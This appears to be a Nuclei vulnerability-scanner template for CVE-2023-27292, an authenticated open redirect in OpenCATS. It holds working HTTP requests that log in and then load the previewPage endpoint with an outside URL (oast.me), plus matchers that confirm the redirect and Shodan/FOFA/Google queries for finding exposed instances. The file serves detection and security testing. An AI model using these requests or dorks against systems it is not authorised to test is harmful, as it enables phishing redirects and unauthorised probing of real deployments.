id: CVE-2023-27292

info:
  name: OpenCATS - Open Redirect
  author: r3Y3r53
  severity: medium
  description: |
    OpenCATS contains an open redirect vulnerability due to improper validation of user-supplied GET parameters. This, in turn, exposes OpenCATS to possible template injection and obtaining sensitive information, modifying data, and/or executing unauthorized operations.
  impact: |
    An attacker can redirect users to malicious websites, leading to phishing attacks or the download of malware.
  remediation: |
    Apply the latest patch or update to the latest version of OpenCATS to fix the open redirect vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2023-8
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27292
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-27292
    cwe-id: CWE-601
    epss-score: 0.01469
    epss-percentile: 0.81162
    cpe: cpe:2.3:a:opencats:opencats:0.9.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: opencats
    product: opencats
    shodan-query:
      - title:"opencats"
      - http.title:"opencats"
    fofa-query: title="opencats"
    google-query: intitle:"opencats"
  tags: cve2023,cve,authenticated,tenable,opencats,redirect,vuln

http:
  - raw:
      - |
        POST /index.php?m=login&a=attemptLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        GET /index.php?m=settings&a=previewPage&url=https://oast.me HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<TITLE>Page Preview</TITLE>'
          - '<FRAME src="https://oast.me">'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201b1f8837cc59182ef0ea57d0f829fe429aaa93caab5cefa959c9c188da1ed8d5022100ab34d53ce1dbca8332df65524b5a5fa4e50f6d4b3353ff70e5f1d20bfed6b653:922c64590222798bb761d5b6d8e72950